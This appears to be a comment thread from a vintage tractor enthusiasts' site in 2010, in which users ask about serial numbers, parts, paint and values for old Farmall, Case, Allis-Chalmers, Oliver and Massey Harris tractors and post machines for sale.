johjn donnell wrote on Friday, October 01, 2010 (PDT):The 300 utility that I have wiil not lift, these are things I have checked Pump, filter, safety valve, regular vave, replace the lift cylinder. I have flow to the cylinder but no pressure. Can any one help this tractor has been down for a while. I need it to prepair the garden for next year.
Bob Hadsall wrote on Wednesday, September 29, 2010 (PDT): I have a Massey Harris E22 that I am starting to restore. It s pretty rough. In checking, I found the frame has been cut and modified to accomodate a different engine. The engine numbers are, F400 A422 3U. If anyone has information concerning this engine, I would appreciate the help.
jerry wrote on Tuesday, September 28, 2010 (PDT): I have a VAI with a herny backhoe and loader. If anyone knows what year model it mite be i would like to know.
Phil Wright wrote on Saturday, September 25, 2010 (PDT):Who can tell me more about the B-1 CO-OP built by Cleveland Tractor Company Where one is,I am rebuilding one now and need more info. thanx!
Phil Wright wrote on Saturday, September 25, 2010 (PDT):What can anyone tell me about the B-1 CO-OP built by Cleveland tractor company It has a Hercules engine and Clark rear end/transmission. I need to know more,where is one to get pictures of. I am rebuilding one now. Thanx
Willie Wages wrote on Friday, September 24, 2010 (PDT):I picked up a junk tractor that looks a lot like the f-14. How can tell what it is I don t have a genuine concern with tractors but, since it s so old maybe someone can use a part off it before I junk it
Jeff G wrote on Tuesday, September 21, 2010 (PDT):Is a JD 2010 Forklift the same as a 2010 Tractor
Dustin Goraczkowski wrote on Tuesday, September 21, 2010 (PDT):we have 3 D17 s 2 series IV with live low pressure high volume hydraulics we have owned the Series III since new and it has around over 7000 hours on it and one of the Series IV s has 9,700 hours on it and is used every year to run augers and other odd jobs and we recently purchased another series IV but the Tac was stuck so the hours are unknown... needless to say the engines last a very long time. If it has been stuck for 7 years its anybody s guess but with proper care it would be a very good tractor
Mark wrote on Saturday, September 18, 2010 (PDT):I have a MM M5 gas tractor that I am having problems finding a starter. The starter I have has the cone broke off. Any ideas on replacing the cone or finding a new starter Thanks
T Kasten wrote on Friday, September 17, 2010 (PDT):Terry your L Case serial number 4211599 indicates your tractor was built in 1938, which was also the 1st year Case went to a 7 digit serial number.
ken wright wrote on Wednesday, September 15, 2010 (PDT):I have been interested in MM tractors since my early years seeing one working on a farm in Norfolk England in the 1940.s.I would very much like a wall poster of this particular model if possible and I am willing to pay. Regards Ken Wright
Bob Loesch wrote on Monday, September 13, 2010 (PDT):can anyone tell me howw to get e-mail and or addresses so as to contact others o n the fourm thanks
john d wrote on Monday, September 13, 2010 (PDT):My tractor has stop lifting. I have narrowed it down to the pump and filter. Whta I need is step by step instruction how to install a another pump.
Gene House wrote on Friday, September 10, 2010 (PDT):I would like for someone from the Leader Tractor Club to contact me. I m looking at a Leader D to purchase and need to know the availability of any form of manual for it. I was told it is a late 40s model Leader D. Gene
Linda Ball wrote on Thursday, September 09, 2010 (PDT):I have 3 of these wonderful Ford tractors - 1-9N w/5 finishing mower 4 brush hog could use painted but runs awesome , 1-8N w/new 6 finishing mower 5 brush hog could use painted but runs awesome and another 8N paint is nice w/6 King Kutter finishing mower. All three run great and we alternate with them mowing 6.5 acres....in the midst of downsizing so need to sell them all. Peninsula, Oh
Gene wrote on Thursday, September 09, 2010 (PDT):According to Henry Hahn, in a earlier post, the paint can be bought from NAPA. It is Martin Senour #1956. I ve been trying to reach him for a couple of weeks now without success via e-mail. I don t know if he s on vacation or ill. Hopefully he is OK and will be back on-line soon. Beyond that, I m looking at a Leader D now to purchase and need all of the information I can get and would love to join the club. Gene
Ray Wheeler wrote on Thursday, September 09, 2010 (PDT):I recenly purchased a 1961 761 speed-o-matic Ford tractor. The original paint color was yellow. It was painted over with grey and red. Any information on this tractor would be really helpful. Please email me at Wheelersplace at comcast.net. Thanks!
T.cuddy wrote on Monday, September 06, 2010 (PDT):I have a allis g tractor. I am trying to find the year to it. but I can t find the codes on the allis g. Can any body tell me where to look
mark snider wrote on Sunday, September 05, 2010 (PDT): I would like to know the hp of Leader tractor.
peter wiebe wrote on Friday, September 03, 2010 (PDT):I am restoring a 1963 2010 john deere crawler, and I need the stone gaurds for it, also the track tightening machinism covers, and the big hook that goes under neath the front gaurd plate, if you know of some one the has and old one for parts please let me know by email or give me a call at 204 326 7873. peter
steve gilmor wrote on Thursday, September 02, 2010 (PDT):Neighbor of mine has a D-17 that he will sell me for 500. The tractor has been sitting for about 7 years and the engine will not move. I know how to free it up, but is it worth it How long will the engine last Comes with a du-all loader that runs off of the PTO, and 7 ft. back blade.
steve wrote on Wednesday, September 01, 2010 (PDT):Neighbor of mine has a D-17 that he will sell me for 500. The tractor has been sitting for about 7 years and the engine will not move. I know how to free it up, but is it worth it How long will the engine last Comes with a du-all loader and 7 back blade.
Ray Taylo wrote on Monday, August 30, 2010 (PDT):The road gears on my 2010 do not work. I was told that this tractor has two clutches. One for high side, one for low side, is this true Can it be adjusted somehow The clutch works good in lower gears. It will not move at all in higher gears. Thank you.
gordon ellis wrote on Monday, August 30, 2010 (PDT):i am not an expert but learning very fast at great expense-i have two 1954 fordson major deisels one for parts one running has a loader would sell both or looking for more parts machines would like a complete running engine for my parts tractor to make it run--phone me 705 778 2519 ontario canada
roger wrote on Sunday, August 29, 2010 (PDT):i have a 154 cub low boy runs great has a new clutch disk and pressure plate,plugs,new bearings and seals in mower deck runs great and looks good needs paint steering box bracket needs welding will sell at present for 1800.00
jackie wrote on Saturday, August 28, 2010 (PDT):my dad past away and he left me a 140 it has a fast hitch i am sure he bought it new in 1972 it is in great shape it has the pull behind disk,turning plow and the culervaters i do not need it what is it worth.jackie in tenn.
john tryggeseth wrote on Saturday, August 28, 2010 (PDT):for sale F12 Studebacker engine on steel used for logging. F 20 Ser. 43808 on rubber, 2 mowers corn planters 2 other equipment Roadgrader, hayloader one single cell jail Warroad Mn. fordge, plus misc. 218-296-1021.
Roger Berner wrote on Friday, August 27, 2010 (PDT):Just a little note. I have a 1940 case vc I just bought this year. It is in pretty good shape except for the paint. I noticed in the discription of the vc series it stated they come standard with the pto. Mine does not have the pto. It is capped off as is the belt pully. I read somewhere else that both of those along with elect. start and lights were all optional.
Duraine Davis wrote on Thursday, August 26, 2010 (PDT):I was raised on a S55 Oliver. I have a 65 diesel, restored and installed a Jackson P/S kit. Prefer it over my MF 253 it is a real pleasure to drive and remember my dad s 3 different Olivers. Serial # IS ON LEFTSIDE IN FRONT OF CLUTCH PEDAL
LeRoy Klecker wrote on Thursday, August 26, 2010 (PDT):We are currently refurbishing a BF Avery Model A. We are trying to find the manual for this tractor. We are also looking for the correct color for the tractor so that we can put it all back to its orginal. The tractor is from the early 40 s. If anyone could help us we would appreciated it very much. Thank you.
John Gilliam wrote on Thursday, August 26, 2010 (PDT):can any one help me i have a oliver tractor i need to know the year and model the serial number is 13748-518-the spec.number is 15-0005 i hope i can get some help from someone thanks
Glen McDuffie wrote on Monday, August 23, 2010 (PDT):Where is the serial number located on a B F Avery tractor Need to know year model, I can purchase parts. Thanks glen
John J Law wrote on Monday, August 23, 2010 (PDT):I am retired and living in Cyprus. My friend has a Massey Harris Pony serial number 2245. Can anyone tell me the year of manufacture and any other history of this machine.
VIRGIL REINIG wrote on Monday, August 23, 2010 (PDT):I have a allis 200 diesel , duals ,weights ,good rubber , fair paint , remote , book, runs good want to sell hasent done any thing for 10-12 years but mow 5 aceres not sure about hours LEO IN. 260-437-6299 VIRG
Ron wrote on Saturday, August 21, 2010 (PDT):my name is ron and i was wondering if any one can tell me aboiut the tractor i bought the only number was on a plate at the left side of the moter and it reads mfc 149 d 10831 is this a massey harris or a massey ferguson i can send pictures
Edie Keppy wrote on Tuesday, August 17, 2010 (PDT):I have a vc Case tractor made 40 to 42 for sale. How would I find out the value of this tractor I am settling an estate and have many antiques.
Randall Miller wrote on Tuesday, August 17, 2010 (PDT):I wood like to know if some one could tell the tire size that come on tractor new.thanks
Randall Miller wrote on Tuesday, August 17, 2010 (PDT):the same motor was used in 35 massey ferguson in some TE-20 ferguson made over seas.a 130 massey is a 4cyd. but had a small main bearing. maybe this might help
ben smith wrote on Sunday, August 15, 2010 (PDT):I have a 62 dexta that needs shipped from oregon to southern mexico. can anyone tell me the approximate weight and the outside width of the rear tires My dexta looks exactly the same as the one pictured at the beginning of this forum thanks ben
Jack Randolph wrote on Thursday, August 12, 2010 (PDT):How does this thing compare to a Farmall A Can it compare -- just joking -- How about horsepower, etc Can t seem to find much information anywhere. Would implements from a Farmall fit this Oliver or vise versa
floyd wrote on Tuesday, August 10, 2010 (PDT):i am led to believe that i have a 1934-35ish crawler about half of it the frame gear box and track i plane to in stall a ford six cyl. motor and use it to move snow and maintain my driveway it would be nice to have a repair manual and i would like to try and find the sheet metal to make it look original any imfo. would help thank you.
James Murff wrote on Tuesday, August 10, 2010 (PDT):I run a scrap yard in Huntsville, Texas and someone has brought in a Farmall Cub. Not sure of the year model. I do know that it has hand brakes. It has no seat but I think everthing else is there. I hate to scrap these old machines. If anyone is looking for a Cub, I will let it go cheap. Call me and I will send you some pictures. 281-468-2406
Bernie Abrahamson wrote on Tuesday, August 10, 2010 (PDT):Did the 1938 Farmall tractor have cleats on the wheels
Gordon Gibson wrote on Saturday, August 07, 2010 (PDT):I have inherited a Samson Sievegrip single cylinder tractor, it was restored in 1995 and runs now as well as it did when new. I would like to make contact with any interested folks about this tractor.
Gordon Gibson wrote on Saturday, August 07, 2010 (PDT):I have inherited a Samson Sievegrip single cylinder tractor, it was restored in 1995 and runs now as well as it did when new. I would like to make contact with any interested folks about this tractor.
Robert T Kelly wrote on Saturday, August 07, 2010 (PDT):I am looking for parts for 10-20 titan tractor to make mine complete please e-mail me any parts you have for this tractor
thurman7bc wrote on Saturday, August 07, 2010 (PDT):Stop hack the program!!!
J.F.Parker wrote on Friday, August 06, 2010 (PDT):It was not clear in the picture as to what were the words painted on the tractor. Thank you.
Kyle wrote on Thursday, August 05, 2010 (PDT):I do not own one of these yet but plan on it. I m turning 16 in a few days so I hope to get a job and buy one. I put in for one in a raffle I got over 20 tickets in it. I hope I got good luck. It needs to be taken apart and rebuilt cuz somethings not allowing it to crank over fully.
jackj wrote on Tuesday, August 03, 2010 (PDT):cool
jackj wrote on Tuesday, August 03, 2010 (PDT):cool
Charles Hembree wrote on Saturday, July 31, 2010 (PDT):My son has just traded for an old iron wheel rear Allis-Chalmers. Serial # WC95000. Anyone interested contact me and i will send pics.
tractor man wrote on Saturday, July 31, 2010 (PDT):good luck getting an answer to your question Brian !
Trent Spivey wrote on Friday, July 30, 2010 (PDT): I recently acquired a farmall C tractor with several pieces of equipment, I am having a hard time finding what year this tractor is by the serial number, can anyone help me.... the serial number of the plate is 45087.. thanks Trent
Victor W. wrote on Thursday, July 29, 2010 (PDT):I have a super dexta. I have been trying to find main bearings for it. I ordered some from this site and they were to big. My tractor has a smaller main bearing journal than they say it should have. The crank has been turned .10 thousands. The bearings they sent are extremely bigger.
Jr. Roby wrote on Thursday, July 29, 2010 (PDT):what color is a 1948 g supposed to be
gordon carson wrote on Tuesday, July 27, 2010 (PDT):we recentley brought a 1917 samson 6-12 sieve grip serial no 5911 but we dont have a starting handel or any books please contact me if you can help thanks Gordon carson and Bryan beba
Brian Perry wrote on Monday, July 26, 2010 (PDT):The way I have the headlights wired they light when starting the tractor but when the tractor starts the headlights go out despite the switch still being on. What do I need to change to make them stay on once the tractor starts Thanks
Brian Perry wrote on Monday, July 26, 2010 (PDT):I m trying to wire my Farmall H headlights. When starting the tractor they turn on but once the tractor is started they go out even though the switch is still on. Any ideas as to what I need to do to make them work while the tractor is running
Brian Perry wrote on Monday, July 26, 2010 (PDT):I m trying to wire my Farmall H headlights. When starting the tractor they turn on but once the tractor is started they go out even though the switch is still on. Any ideas as to what I need to do to make them work while the tractor is running
Craig wrote on Monday, July 26, 2010 (PDT):I have a d15 series 2 tractor. I am having trouble finding the serial number on the tractor. I would also like information a changing the fan belt. The tractor has a front hydraulic pump. Can I take the hydraulic pump off easily to get to the fan belt to change it
Terry Gingerich wrote on Monday, July 26, 2010 (PDT):I have a 1954 model 40 and burnt the wireing up on it. Would like to know the color of the wires used and the wiring diagram but can t seem to find this info anywhere. I have the parts manual. The service manual. And the shop manual but this info still eludes me. Does anyone in the whole wide world have one of these with the time to help. Thanks
Barb wrote on Sunday, July 25, 2010 (PDT):We have a G tractor with snow plow and a second blade, serial #G10287. Would like to sell as it belonged to my brother who just passed away. Do not know what year it is or any idea of the value. He got it started, but it would not stay running. It was given to him by a cousin of my Mom who may have been the original owner.
tractor man wrote on Saturday, July 24, 2010 (PDT):WOW, It take a LONG time to get an answer on this site !
Demon wrote on Friday, July 23, 2010 (PDT):i have a ford 3000 with the sos transmission good tractor i need shifter parts having trouble finding them. or a complete shifter.
mrf1002u wrote on Friday, July 23, 2010 (PDT):To philip morrissette re; your L tires...contact Harlan Wilson at Wilson Tire 740 625-6894. I think they were going to start producing that size tire again.
Bob Abbott wrote on Thursday, July 22, 2010 (PDT):I have a VAC case tractor, would like to know the difference between a VAC and a VA Case tractor.
Tom Short wrote on Thursday, July 22, 2010 (PDT):I have a 460 gas that my dad bought about 10 years ago and restored. The tractor runs great and has everything original on it. My dad added a 3-point hitch to the tractor to be able to pull some additional implements but we still have the original swinging hitch. There is no better tractor for raking hay! I am looking to sell the tractor as my dad has passed away. I am in the Nashville, TN area. I can be reached at 615-972-2956 for further information.
Dan Peek wrote on Wednesday, July 21, 2010 (PDT):I grew up in western Colo. on a ranch on Bone Mesa, Delta. We had two Ms, one a 47 and the other a 51 or 52. Also had an LA Case, VA Case and a 49 0r 50 Ferguson. Later, we bought an MTA 400. We put up 1250 to 1400 tons of alfalfa and grass hay every year as well as 30 acres of corn silage, 20 acres of oats also. In our spare time, we did custom haying with swathers and a 55T International Baler behind one the Ms. That probably accounted for another 3 to 5 thousand tons of additionally although we did not pick up and haul their hay. We all have hundreds of hours on those Ms and they never failed to start and run whether it was -25 or plus 99 degrees. We pulled plows, discs, harrows, balers-ran hay grinders, cornchoppers, you nameit.
richard ewasko wrote on Monday, July 19, 2010 (PDT):I have a Case L ser# C376339 motor block # 4-15 I am not sure whether to restore or sell to anyone that wants to restore same. Not running but not seized needs carburator and housing. Front rad complete but mounting brackets are broken. I am in Manitoba Canada if you have parts please e-mail back if interest in purchasing same I can send detailed pictures.
joao jose frança silva wrote on Monday, July 19, 2010 (PDT):gostaria de comprar um motor restaurado do massey harris pony n62 A continental
steve wrote on Sunday, July 18, 2010 (PDT):Have rock island tractor with waukesau and need the firing order and is the front cylinder number one. thanks steve
David Lucas wrote on Tuesday, July 13, 2010 (PDT):This looks like the one I have but mine is in terrible condition, it is a diesel and I have to work hard and buy a lot of used /refurbished parts for it. The serial # says it is a 1959. I hope when I am done mine looks so good.
Randy wrote on Saturday, July 10, 2010 (PDT):I just saw a model 40 in a parade in Ankeny Iowa today. First time I have ever seen this brand of tractor.
tractor man wrote on Saturday, July 10, 2010 (PDT):where can I get info on decal placement for my H I just bought a complete set with all the stickers but dont lnow where they go! also what is the siite where I can chk the serial # to find out her age
Jack wrote on Thursday, July 08, 2010 (PDT):Do you know where I can find information on my Ford tractor serial number 165362 I think it is a 661 workmaster.
DICK LENNARD wrote on Thursday, July 08, 2010 (PDT):MY DAD HANK LENNARD HAD A MASSEY-HARRIS AND OLIVER DEALERSHIP IN MARSHALL, MINNESOTA IN THE LATE 1930 S MAYBE EARLY 40 S. I HAVE A PICTURE OF HIM IN FRONT OF HIS DEALERSHIP ON MAIN STREET WITH TWO MODELS. THEY DON T LOOK MUCH LIKE WHAT I SEE ON THIS WEB SITE. THEY ARE VERY SLEEK AND MODERN LOOKING. MY QUESTION IS.......WAS THERE SOME CORPORATE CONNECTION BETWEEN OLIVER AND MASSEY-HARRIS JUST CURIOUS. DOES MAKE ME A BIT SAD AND EVEN DEPRESSED TO SEE THOSE GREAT OLD MACHINES!! I SAW AN AD THE OTHER DAY FOR TRACTORS AND RELATED EQUIPMENT FROM INDIA FERKRISSAKES.
Roger wrote on Wednesday, July 07, 2010 (PDT):I saw some tractors exhibited at a county fair today. One of them was a MH Pony inside an apparatus called a Massey Harris Mare. It the Mare was a drivable machine with the operator sitting high up on top. There was no one around that I could question. Does anyone know what this type of machine was used for If interested I could forward a picture to your email. Thanks
James C. Wyatt wrote on Tuesday, July 06, 2010 (PDT):I have a 1947 case vai tractor, and i want to sell it but i don t know how much to ask for the tractor. thank you Jim
will wrote on Friday, July 02, 2010 (PDT):I got my 550 about a yr, ago, my uncle got one about 6yrs ago, and i fell in love with his. thats what made me get my own. The 550 is just the perfict size tractor for me,i have a lot of trees on my land,so the lower profile of the tractor works good, has all the power i need, for brush cutting,diskings food plots, bring in fire wood, etc. oliver 550 s forever.
todd stowell wrote on Wednesday, June 30, 2010 (PDT):i am looking for an old rumley parts tractor. what i realy need is iron tires front and rear for a 1924-1927 Rumley 20-35 type M the old boy that had this converted it over to 32 rubber tires and now i can t find replacement tires so i realy would like to put it back iron. that s why i am looking for a parts tractor. thanks todd
Steve Hargis wrote on Wednesday, June 30, 2010 (PDT):After restoring a 1944 LA back to expo condition , I wrote to John deere and ask when and where this tractor was shipped and to whom To my surprise it has stayed in East Tennessee since being shipped to Knoxville , and after doing some research , I found that I was the ninth owner .
Paul Kaminski wrote on Wednesday, June 30, 2010 (PDT):I have a VAH without serial tag. Stamped engine block # is 68-F04338. Can anybody tell me what year the tractor is Phone 715-342-0918
Eric wrote on Monday, June 28, 2010 (PDT):About 1980, my Uncle sold the family 8-16 that my grandfather purchased new. My Uncle lived in Buckly, Illinois and I believe he sold it to a gentleman near Rockford, Illinois. I would appreciate any information anyone might have. I would like to re-acquire the tractor if I can find it. Thanks, Eric
John Leber wrote on Sunday, June 27, 2010 (PDT):I have two 2 Leader tractors for sale. 1948D Leader--Excellent condition. 1946 Leader made in Albany Ohio Fair condition/no rust Both are located in Omaha Nebraska.
Mike Kieliszewski wrote on Saturday, June 26, 2010 (PDT):I own a 1929 1530 rated 2236, about 15 years ago we were at a show with a dyno, they rated the power left on the belt of 34hp. hope i have that much when i get that old. it has an enclosed pickering flyball governor installed which must have been an option as it was on an old saw mill operation in the area. it is on rubber newer but not painted. water pump leaks a little and crack in exhaust manifold stored indoors. it starts faithfully on the third flip. Thinking on selling it not sure where to start thinking 2500.00. There is some sentimentalvalue as my father-n- law was the person who brouht it to life and grew up on his type of tractor. Thanks!! located northern michigan
Randall Miller wrote on Wednesday, June 23, 2010 (PDT):THe phone no for Rippee s is 1-573 431 5939
Randall Miller wrote on Wednesday, June 23, 2010 (PDT):I have a 1964 model Super Dexta that my dad bought new i need a operators manual.Rippee s used tractor parts 5566 Hillsboro Road Farmington Mo, 63640 Phone 1-573-432-5939.HE hase Ford Tractor parts.
Dave Laven wrote on Monday, June 21, 2010 (PDT):I am looking at buying a 1960 D 17 Allis in central MN. The tractor is in very good shape and is ready to be used or shown in parades. Can you tell me what the tractor is worth in my part of the country. Asking price is 4,000 without three point. 4,500 with three point. Thanks.
JOHN STALEY wrote on Friday, June 18, 2010 (PDT):MY DAD BOUGHT A SUPER 55 GAS IN 1955 AND I STILL HAVE IT. JUST MOWED WITH IT TODAY, IT NEVER MISSED A BEAT ALL DAY LONG.EVERTHING IS STILL ORIGNIAL AS FAR AS I KNOW I ADDED SOME WEIGHT TO THE FRONT END, FOR LOADING, AND MOWING ON THE HILL SIDES.NEEDS A NEW SEAT SPRING IT BOTTOMS OUT ON ME.REALLY ENJOY WORKING THE LITTLE GUY I WAS 8 YRS OLD WHEN WE BOUGHT IT. AND I CAN STILL PICTURE THE OLIVER DEALER DELIVERING IT TO US.
Tabitha wrote on Tuesday, June 15, 2010 (PDT):I have a Massey Harris 101 Super, looking for the original paint codes for the sheet metal, wheels, AND motor-- this is the hardest part for me to find. Does anyone know if the original motor color on these tractors was black or MH red or grey Any help would be appreciated.
Bill Tabish wrote on Tuesday, June 15, 2010 (PDT):Looking for someone that retores tractors in Sacramento area. 140 farmall
Jeri Nieman wrote on Monday, June 14, 2010 (PDT):We have a JD L tractor that still runs and has been housed always. Not sure what year it was made but a man came by here today and would like to buy it, however, I do not know what it is worth. Does anyone have any idea what price I should put on it I would be willing to part with it. Please advise.........
Chuck Shepard wrote on Monday, June 14, 2010 (PDT):I have a case tractor that I am trying to identify,looks like a VAS. Where is the ID plate for this tractor. We have beeunable to find it. I can make photos of it if this would help.
Bart A. Besley wrote on Thursday, June 10, 2010 (PDT): I have a Farmall AV, High Clearance, that I would like to sell. It has an attachment on the rear for planting schrubs etc. I bought two from an old nursury and haven t had a chance to work on this one yet. If interested you can contact me an I will get some pictures to send you and get more info for you.
kenny hunt wrote on Wednesday, June 09, 2010 (PDT):my 49 case vac only runs a few minutes then shuts off. then starts up emeidtly.could it be electical. tank was cleaned end carb as well
Terry Koehler wrote on Tuesday, June 08, 2010 (PDT):Could anyone tell me the year of a case L serial # 4211599. I can not find a date anywhere on the tractor. It is on steel if that helps.
Dave13 wrote on Monday, June 07, 2010 (PDT):i am looking for a heisler overdrive for my farmall f 12. the f 12 is the only tractor i have right now and i need to haul manure this summer from the farm to the field. if you have one for sale or you know someone that has one for sale or you know where i can get one, Please contact me. Thank you.
Dave13 wrote on Monday, June 07, 2010 (PDT):i am looking for a heisler overdrive for my farmall f 12. the f 12 is the only tractor i have right now and i need to haul manure this summer from the farm to the field. if you have one for sale or you know someone that has one for sale or you know where i can get one, Please contact me. Thank you.
reggie wright wrote on Friday, June 04, 2010 (PDT):has a mccormack-ih-farmall model h also says mbh serial number 240942x1 can any one tell me year as we want to fix it. thank you very much.
Allen Jones wrote on Friday, June 04, 2010 (PDT):I just purchased a 1959 D-10 W/ a Serial # 1029. It has the plunger type Hydraulic pump which works off the PTO. Is there a manual you can get that shows you how to rebuild this type of pump. Or is there a place you can purchase a new pump Mine does not work.
carolyn wrote on Thursday, June 03, 2010 (PDT):any idea of value of partially restored leader How about a very rusty partial tractor
carolyn wrote on Thursday, June 03, 2010 (PDT):looking for parts for Leader tractor-restoration in progress. especially interested in trans, rear end, motor. All parts considered!
Jim Hurley wrote on Thursday, June 03, 2010 (PDT):I have a 1957 Cub that was my Grandfathers. It appears that there was several things that were in need of repair since it had sat in the barn since 1990 till I was able to rescue it. My DAD had it and was going to sell it. I offered to buy it and he gave it to me. One of the areas that needs attention is the govenor. I have an IT manual and have been reading up on it. I can get the tractor started but there seems to be no power when I attempt to throtle up. I have a 55 Cub as well and it appears that I can throtle up the 55. I am wondering if something has come apart in the governor on the 57. Anyone have a words of wisdom I would like to get the 57 running again. My wife and I own about 6 acres. I have the cultivators on the 55 and plan to use the 57 for the sickle bar mower. Thank you, please help ..... grass is growing
Daryl Wentland wrote on Tuesday, June 01, 2010 (PDT):When I was on the farm in North Dakota early to mid 1960 s we had a 500 Case that I did alot of field work with. After growing up on a two cyclinder JD the sound of that 6 cylinder diesel was soothing and calming plus lots of power. I have been away from the farm now for almost 40 years but would love to drive a 500 Case just one more time across the prarie plowing.
Daryl Wentland wrote on Tuesday, June 01, 2010 (PDT):When I was on the farm in North Dakota early to mid 1960 s we had a 500 Case that I did alot of field work with. After growing up on a two cyclinder JD the sound of that 6 cylinder diesel was soothing and calming plus lots of power. I have been away from the farm now for almost 40 years but would love to drive a 500 Case just one more time across the prarie plowing.
dave AQustin wrote on Monday, May 31, 2010 (PDT):Looking at the earlier model of Oliver HG-31/42/68 cletracs. QUESTION; Did the military EVER buy and use these smaller crawlers What was the paint scheme like Olive Drab Contruction yellow or other What would the military deisgnation be if so I know the M1 LARGE version Cletrac was made for and used by the armed forces during WW2... Looking for evidence of the smnaller versions in the same role....
kelly boyle wrote on Saturday, May 29, 2010 (PDT):I own a Ford 671 select o speed, it is a very reliable tractor and in excellent condition. I no longer have use for anymore, and I m looking to sell it. Can anyone give me an idea on what it could be worth It has a front loader, pto, and a grader attachment with a stabilizing wheel-6 cylinder gasoline. Thank you for helping
kelly boyle wrote on Saturday, May 29, 2010 (PDT):I own a Ford 671 select o speed, it is a very reliable tractor and in excellent condition. I no longer have use for anymore, and I m looking to sell it. Can anyone give me an idea on what it could be worth It has a front loader, pto, and a grader attachment with a stabilizing wheel-6 cylinder gasoline. Thank you for helping
Joe Craig wrote on Saturday, May 29, 2010 (PDT):I just bought a Farmall Cub. No one knows what year it was manafactured. Is there a way to determine year from serial number I am having the starter rebuilt and was advised to keep it 6 volts. The tractor has been converted to 12 volts. Any advice
captain wrote on Friday, May 28, 2010 (PDT):i have just powerwashed my baackhoe which i have found out was a huge mistake and it is leaking at a lot of seals on the sherman 54e100 power digger i need seals real bad and and can t find any thing anywhere. My phone number is 618-923-1559
Jaco Combrink wrote on Tuesday, May 25, 2010 (PDT):Noticed that there are several quieries wrt AC models. Go to the web site under Allis-Chalmers Serial Numbers and follow the steps to get your required info. Hope this will assist. I m the proud owner of an AC WD45 1955 that I restored recently. Regards to all AC fans - Jaco Combrink South Africa Cell +27 836572339
Eddy Burnette wrote on Thursday, May 20, 2010 (PDT):I have had a Super Dexta for about 3 years. Not sure what year it is but it has #957E 7005. Not sure if that indicates the year. I have used it to bush-hog my 8 acres and it does a great job. It has a few kinks but works. I am thinking of selling and applying the proceeds to a new small all-purpose tractor. Anyone interested can respond to my e-mail
michael painter wrote on Thursday, May 20, 2010 (PDT):I m trying to locate a T-20 that came from the state of California had a brass plate on it and a rear pto , painted dark green with a brass fire extinguisure, with excellent undercarriage, but only about 45% grouser shoe track life left. Came from Cali. then went to Defuniac Springs, Fl. and then was traded for a running Caterpillar D-6 generator/engine up in/near Virginia ... sure would like to find it and purchase it or any other T-20 that is in running condition ... Thanks for any leads/help ...
steve wrote on Tuesday, May 18, 2010 (PDT):just bought my 160 with what i thought was a real seal oil leak, turns out after splitting the engine that someone had been into the engine and braised the thrust washers in place.Now i am replacing the cranshaft and bearings because the washers wore the crankshaft rear end away,lots fun and learning a lot about the tractor as i rebuild.
GENE S wrote on Sunday, May 16, 2010 (PDT):Yes I drove an old shug shug. Good tractor, but the diesel smoke in your face all day gave you a headache
Dennis Strawn wrote on Saturday, May 15, 2010 (PDT):I have a 2010 John Deere Ser #RU10402 in fair to good condition with almost new tires on it. Power steering. I have enjoyed reading most of the comments on this site. Seems like we have all enjoyed the tractor. This tractor is for sale.
Gil Bacal wrote on Tuesday, May 11, 2010 (PDT): I have a D-14 for sale 4 spd trans 2 speed final drive evey thing works 3point hydrolics works good , call if interested, GIL 417 451 3911
Gil Bacal wrote on Tuesday, May 11, 2010 (PDT): I just bought a 62 801 with SOS trans everything works fine but the park does not hold when running i adjusted the cable as said in manuel but still does not hold when running it holds when engine is not running ,,any sugjestions be appreciated thanks Gil 417 451-3911
Ron Hopfensperger wrote on Sunday, May 09, 2010 (PDT):My dad has a Leader with a Hercules engine. Were would we find the serial #S. Thanks Ron
Jim Whitehead wrote on Saturday, May 08, 2010 (PDT):Own a 49 Massey Harris Pony- Is there anyone out there that has a sickle bar mower for this tractor and would care to part with this for a fair price Maybe you might have some other attachments that you are looking to sell off Please contact me at the above e-mail Thanks Again!
Bob Munsch wrote on Friday, May 07, 2010 (PDT):I have a tractor to sell; Massey Harris Ser# 270848 / 101SR can someone tell me the year of this tractor
Joe McElwain wrote on Thursday, May 06, 2010 (PDT):I have a 1956 Farmall 560 Hi-Rise Tractor, it s in great shape and is a tractor we used for shatter cane and has a front mounted hydraulic 8 row weed wiper. We had it in storage all the time for many years. Where can I find an auction where other tall ones are sold. It needs to be sold as I o longer farm due to health It s in Blue Springs mo. Sincerely
eric wrote on Wednesday, May 05, 2010 (PDT):did you hear they are bringing back the farmall line they must have final woreout a few of the first ones now remember if you buy one you have to farmall you can
Rob Armstrong wrote on Tuesday, May 04, 2010 (PDT):My Dad has an old Allia Model G with several Attachments,runs like a charm, although the cluth has stuck while parked for long periods ...any pointers how to free it and also what is the value , considering selling it.....thanks Rob
Shawn wrote on Tuesday, May 04, 2010 (PDT):My friend has a Super M and we re starting a small farm with him. The tractor needs work,like restoration and we need equipment help. Anyone know where to get parts for it Also we have a plow that wont work right, anyone know where to get parts for it in western PA
Robert Phelps wrote on Tuesday, May 04, 2010 (PDT):For Sale 300 IH Utility, TA,Clutch,Power Steering,PTO,Hydr loader work. Tac 1221 Hr, Serial#16793, Eng C-169 excelent condition.Mower,blade available 80 miles from Chicago IL call 815-882-2467
Alton Ponto wrote on Sunday, May 02, 2010 (PDT):I have a John Deere L that I bought in great working condition in the late 1960 s. We repainted it and it still runs and looks great. There s also a full cultivator set and original manuals. I did put new original style tires on the tractor. I m nearly 80 now and would like to sell it. What s it worth
Jr. Roby wrote on Sunday, May 02, 2010 (PDT):I am working on a 1949 g i need an instr.panel. thanks
Bob Moyer wrote on Thursday, April 29, 2010 (PDT):I just finished restoring my 1954 G serial# g28611.My father bought his first one in 1948 along with plow,corn planter,cultivator,snow plow,furrow bar.He traded it ih 1954 for a new one with hydraulic lift and a set of 3 gang mowers which sat underneath. We replaced ignition system,clutch,pressure plate.brakes,oil seals on transmison and put on new paint and decales.I ll have to say it really looks and runs good. We use it on Sat.at our BBQ pit stand.Happy to talk about model G
jesse wrote on Wednesday, April 28, 2010 (PDT):im looking to buy a 1939 farmall A can a 3 point hitch be installed on them I wasnt sure if they were equiped with hydraulics back then. thank you
john wrote on Sunday, April 25, 2010 (PDT):i am wanting to know what loaders will work on my super dexta.... will a loader from a 600, 700, or 800 series fords work on it any information is appreciated.
Jack Burnham wrote on Saturday, April 24, 2010 (PDT):Correction on S/N should read 4708406SC Looks like we have a 1945 SC Row Crop with dual tired stinger front end Am look for parts for steering worm pinion or info on how to get the slack out of the steering.
Carolyn Hokett wrote on Thursday, April 22, 2010 (PDT):We have a 1947 Case VAO and would love to find the tree sheilds to fit this tractor. My husband has restored -his tractor and we take it around to all the shows. Phone 580-726-2095 Thanks
